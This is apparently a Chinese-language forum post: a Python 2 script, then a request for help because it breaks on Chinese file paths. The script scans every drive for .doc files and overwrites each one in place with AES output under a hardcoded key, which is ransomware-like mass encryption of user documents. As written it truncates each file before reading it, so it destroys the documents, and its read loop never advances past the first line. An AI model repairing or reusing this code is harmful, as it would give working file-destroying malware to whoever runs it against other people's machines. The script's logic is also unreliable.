|
# -*- coding: utf-8 -*-
import sys
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import os
import os.path
import ctypes
reload(sys)
sys.setdefaultencoding('utf-8')
class prpcrypt():
def __init__(self, key):
self.key = key
self.mode = AES.MODE_CBC
#加密函数,如果text不是16的倍数【加密文本text必须为16的倍数!】,那就补足为16的倍数
def encrypt(self, text):
cryptor = AES.new(self.key, self.mode, self.key)
#这里密钥key 长度必须为16(AES-128)、24(AES-192)、或32(AES-256)Bytes 长度.目前AES-128足够用
length = 16
count = len(text)
add = length - (count % length)
text = text + ('\0' * add)
self.ciphertext = cryptor.encrypt(text)
#因为AES加密时候得到的字符串不一定是ascii字符集的,输出到终端或者保存时候可能存在问题
#所以这里统一把加密后的字符串转化为16进制字符串
return b2a_hex(self.ciphertext)
#解密后,去掉补足的空格用strip() 去掉
def decrypt(self, text):
cryptor = AES.new(self.key, self.mode, self.key)
plain_text = cryptor.decrypt(a2b_hex(text))
return plain_text.rstrip('\0')
def scan():
lpBuffer = ctypes.create_string_buffer(78)
ctypes.windll.kernel32.GetLogicalDriveStringsA(ctypes.sizeof(lpBuffer), lpBuffer)
vol = lpBuffer.raw.split('\x00')
for i in vol:
if i:
for dirpath, dirnames, filenames in os.walk(i):
for filename in filenames:
if os.path.splitext(filename)[1] == '.doc':
filepath = os.path.join(dirpath, filename)
print("file:" + filepath)
f = open('list.txt','a+')
f.write(filepath)
f.write('\n')
f.close()
def encrypt():
pc = prpcrypt('1234567890123456')
while 1 :
list = open('list.txt').readline()
f = open(list,'wb+')
e = pc.encrypt(f.read())
f.write(e)
f.close()
if not list:
break
if __name__ == '__main__':
scan()
encrypt()
这是我自己写的文件加密程序但只要遇到中文路径就gg求大神帮忙
|
|